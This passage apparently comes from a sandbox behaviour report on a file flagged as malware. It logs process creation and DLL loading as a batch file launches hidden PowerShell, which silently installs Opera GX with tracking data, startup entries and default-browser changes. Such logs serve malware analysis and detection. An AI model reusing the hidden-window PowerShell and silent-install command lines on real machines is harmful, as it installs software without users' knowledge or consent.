      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Users\user~1\AppData\Local\Temp\is-GJEPE.tmp\do.bat""Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle hidden -executionpolicy remotesigned -File onesave.ps1Jump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exe "./f_1.exe" --silent --allusers=0Jump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: unknown unknownJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --silent --allusers=0 --server-tracking-blob=Y2Q3MWViYTBlM2RlZjljMTNkMzRhMTU1MjZjOTIzY2NjNGJhNzVlZGFiMGIyODBlZTE0YmQzY2IyMTEwYjEzZjp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOiJvcGVyYV9neCIsInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJ0aW1lc3RhbXAiOiIxNzI4ODA0NTcyLjMyMDMiLCJ1c2VyYWdlbnQiOiJJbm5vRG93bmxvYWRQbHVnaW4vMS41IiwidXRtIjp7ImNhbXBhaWduIjoiUFdOX1VTX1BCM19ERF8zNjYxIiwiY29udGVudCI6IjM2NjFfMjkxMCIsImlkIjoiMmJhZmRlZjI2NDE4NDAyMTkxNTVlOTA5NGYyZWQzYTkiLCJtZWRpdW0iOiJwYSIsInNvdXJjZSI6IlBXTmdhbWVzIn0sInV1aWQiOiJmZDNlZmVkYy1iODExLTQxMDgtYTI0MC05N2YyZGI0ZDBlY2UifQ==Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x69288c0c,0x69288c18,0x69288c24Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exe "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exe" --versionJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe "C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera GX" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --initial-pid=7884 --package-dir-prefix="C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_20241013043104" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5ZmFlN2UxNTJiNTZkYWZhZDVhYjk3NWFjMjMwOTp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOnsibmFtZSI6Im9wZXJhX2d4In0sInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3Mjg4MDQ1NzIuMzIwMyIsInVzZXJhZ2VudCI6Iklubm9Eb3dubG9hZFBsdWdpbi8xLjUiLCJ1dG0iOnsiY2FtcGFpZ24iOiJQV05fVVNfUEIzX0REXzM2NjEiLCJjb250ZW50IjoiMzY2MV8yOTEwIiwiaWQiOiIyYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSIsIm1lZGl1bSI6InBhIiwic291cmNlIjoiUFdOZ2FtZXMifSwidXVpZCI6ImZkM2VmZWRjLWI4MTEtNDEwOC1hMjQwLTk3ZjJkYjRkMGVjZSJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=E805000000000000Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe"Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe" --versionJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x340,0x344,0x348,0x304,0x30c,0x68488c0c,0x68488c18,0x68488c24Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe" --backend --initial-pid=7884 --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera GX" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --package-dir="C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5ZmFlN2UxNTJiNTZkYWZhZDVhYjk3NWFjMjMwOTp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOnsibmFtZSI6Im9wZXJhX2d4In0sInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3Mjg4MDQ1NzIuMzIwMyIsInVzZXJhZ2VudCI6Iklubm9Eb3dubG9hZFBsdWdpbi8xLjUiLCJ1dG0iOnsiY2FtcGFpZ24iOiJQV05fVVNfUEIzX0REXzM2NjEiLCJjb250ZW50IjoiMzY2MV8yOTEwIiwiaWQiOiIyYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSIsIm1lZGl1bSI6InBhIiwic291cmNlIjoiUFdOZ2FtZXMifSwidXVpZCI6ImZkM2VmZWRjLWI4MTEtNDEwOC1hMjQwLTk3ZjJkYjRkMGVjZSJ9 --silent --desktopshortcut=1 --install-subfolder=114.0.5282.93Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe "C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=73.0.3856.382 --initial-client-data=0x270,0x274,0x278,0x24c,0x27c,0x8a4f48,0x8a4f58,0x8a4f64Jump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x258,0x278,0x27c,0x254,0x280,0x7ffb0c359d80,0x7ffb0c359d8c,0x7ffb0c359d98
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe "C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe" --start-maximized
      Source: C:\Windows\explorer.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe "C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe" --start-maximized --lowered-browser
      Source: C:\Windows\explorer.exeProcess created: unknown unknown
      Source: C:\Windows\explorer.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1d8,0x1e8,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe "C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ff7c794669c,0x7ff7c79466a8,0x7ff7c79466b8
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1e4,0x1f4,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeSection loaded: netapi32.dllJump to behavior
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: mpr.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: netapi32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: wtsapi32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: winsta.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: textinputframework.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: coreuicomponents.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: coremessaging.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: shfolder.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: rstrtmgr.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: ncrypt.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: ntasn1.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: wininet.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: ondemandconnroutehelper.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: winnsi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: urlmon.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: srvcli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: schannel.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: mskeyprotect.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: dpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: rsaenh.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: gpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpSection loaded: ncryptsslp.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
